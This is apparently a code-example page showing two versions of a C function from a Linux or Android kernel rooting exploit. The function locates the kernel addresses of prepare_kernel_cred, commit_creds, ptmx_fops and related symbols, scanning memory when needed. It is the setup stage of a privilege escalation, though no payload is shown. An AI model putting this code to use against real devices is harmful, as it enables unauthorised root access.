Exemplo n.º 1
0
static bool
setup_variables(void)
{
  setup_prepare_kernel_cred_address();
  setup_commit_creds_address();
  setup_remap_pfn_range_address();
  setup_vmalloc_exec_address();
  setup_ptmx_fops_address();

  if (has_all_essential_addresses()) {
    return true;
  }

  printf("Try to find address in memory...\n");
  if (!run_with_mmap(find_variables_in_memory)) {
    printf("\n");
    run_with_memcpy(find_variables_in_memory);
  }

  if (has_all_essential_addresses()) {
    return true;
  }

  if (!prepare_kernel_cred) {
    printf("Failed to get prepare_kernel_cred address.\n");
  }

  if (!commit_creds) {
    printf("Failed to get commit_creds address.\n");
  }

  if (!remap_pfn_range) {
    printf("Failed to get remap_pfn_range address.\n");
  }

  if (!vmalloc_exec) {
    printf("Failed to get vmalloc_exec address.\n");
  }

  if (!ptmx_fops) {
    printf("Failed to get ptmx_fops address.\n");
  }

  return false;
}
Exemplo n.º 2
0
bool
setup_variables(void)
{
  setup_prepare_kernel_cred_address();
  setup_commit_creds_address();
  setup_ptmx_fops_address();

  if (prepare_kernel_cred && commit_creds && ptmx_fops) {
    return true;
  }

  printf("Try to find address in memory...\n");
  run_with_mmap(find_variables_in_memory);

  if (prepare_kernel_cred && commit_creds && ptmx_fops) {
    printf("  prepare_kernel_cred = %p\n", prepare_kernel_cred);
    printf("  commit_creds = %p\n", commit_creds);
    printf("  ptmx_fops = %p\n", ptmx_fops);

    return true;
  }

  if (!prepare_kernel_cred) {
    printf("Failed to get prepare_kernel_cred addresses.\n");
  }

  if (!commit_creds) {
    printf("Failed to get commit_creds addresses.\n");
  }

  if (!ptmx_fops) {
    printf("Failed to get ptmx_fops addresses.\n");
  }

  print_reason_device_not_supported();

  return false;
}